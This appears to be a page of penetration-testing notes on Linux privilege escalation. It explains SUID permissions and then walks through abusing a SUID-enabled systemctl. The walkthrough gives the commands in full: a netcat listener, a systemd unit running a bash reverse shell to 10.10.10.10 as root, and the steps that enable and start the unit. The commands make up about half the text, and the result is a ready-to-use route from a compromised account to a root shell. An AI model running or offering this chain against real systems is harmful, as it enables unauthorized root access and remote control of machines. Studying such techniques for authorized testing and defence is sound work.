Privilege Escalation can fall under multiple categories: exploitation, post-exploitation, post-exploitation info gathering, and lateral_movement. Overall, the idea is that we already have one compromised account and we are seeking a method to increase our privileges beyond what we have. This is seen via either vertical privilege escalation, to elevate privileges of our user that are unintended, or horizontal privilege escalation, moving laterally to compromise another account to help us move closer to our objective.
Different techniques of gathering the information required for these privilege escalation techniques can be found here
SUIDs
SUID - Set User ID - permissions are special file permissions in *nix systems that allows an executable file to run with the permissions of its owner, rather than the permissions of the user who executes it. When a file has the SUID bit set, it displays an "s" in the owner's execute permission position (e.g., -rwsr-xr-x). This is commonly used for system utilities that need elevated privileges to function properly—like passwd (which allows users to change their own passwords but must modify system-protected files) or sudo. If a SUID binary owned by root contains a vulnerability, an attacker can exploit it to execute arbitrary code with root privileges.
systemctl SUID abuse
-rwsr-x--- 1 root victim 171K Jun 29 2022 /bin/systemctl
This application shows a group that our victim is a part of has read/execute on /bin/systemctl. A service can be created that will execute as root, elevating perms.
# if systemctl has a suid set, we can potentially create a service to elevate to root
kali@kali:~$ nc -lvnp 4442
victim@victim:~$ nano /dev/shm/root.service
[Unit]
Description=root
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4442 0>&1'
[Install]
WantedBy=multi-user.target
victim@victim:~$ /bin/systemctl enable /dev/shm/root.service
victim@victim:~$ /bin/systemctl start root